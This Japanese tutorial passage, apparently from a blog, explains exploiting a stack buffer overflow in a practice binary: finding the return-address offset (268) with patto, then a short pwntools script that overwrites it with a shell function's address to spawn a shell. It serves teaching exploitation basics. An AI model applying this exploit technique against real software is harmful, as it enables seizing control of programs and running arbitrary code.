こんな感じになる、予想通りではあるがSIGSEGVで落ちている。注目するべきはeip、またはcodeセクションで表示されているメッセージである。 $PCまたはeipが指している値が不正なものになってしまったことがSIGSEGVの原因らしいことがメッセージから読み取れる。

eipの値が文字列として表示されているので気付いたと思うが、これは入力した文字列の一部である。 そして、eipは次に実行する命令へのポインタを意味するので、これは次に実行する命令の位置をこっちが好きなように指定できるということになる。 入力した文字列が本来のバッファのサイズを越えてリターンアドレスを書き換えてしまったので、echo関数からreturnするときにこのような不正な値になってしまったのである。

では、具体的に文字列のどのあたりがリターンアドレスに対応するのか? 文字列を少しずつ変化させてみていってもいいが、ここではpattoが使える。 patto A%3Aもしくはpatto 0x41332541で対応するオフセットが表示される。 ここでは268だった。 つまり、268文字目から4バイト分(32bit環境ではアドレスの長さ)がリターンアドレスとして設定される。 あとはここにshell関数の位置を設定してやればshell関数を呼び出せる。

アドレスの調査

では、shell関数のアドレスはどこになるのだろうか? PIEと呼ばれる防御機構があると実行されるコードの位置もランダムになるのだが、今回は無効になっているので、コードは全て固定されたアドレスに配置されている。 また、プログラムがstripされていなければシンボルの名前の情報は残っている。 今回は残っているという前提で、gdbp shellして得たアドレスを使う。

exploitの作成

pwntoolsを使う。 みんな使ってるので使う。

from pwn import *

trg = ELF('overflow')
retaddr = trg.symbols['shell']
offset = 268

payload = 'A' * offset
payload += p32(retaddr)

p = process('overflow')
p.sendline(payload)
p.interactive()

ここではpwntoolsの解析機能からshell関数のアドレスを取得している(trg.symbols['shell'])が、gdbから得た値を直接入れても構わない。 payloadが送信するデータになる。 まず最初にA268文字で先頭を埋め、リターンアドレスの位置にshell関数のアドレスを入れる。 大抵の環境ではリトルエンディアンにして数値を入れる必要があるので注意、といってもpwntoolsには自動でそれをやってくれるp32関数があるのでそれを使おう。 processでプログラムを実行し、送信、そしてシェルを起動する、という流れになる。

実行はpython exploit.pyでいい。

まとめ

たまにセキュリティ関連のニュースで任意のコードを実行可能な脆弱性とかでてくるけど、つまりはこんな感じにプログラムの制御を奪えるということなのである。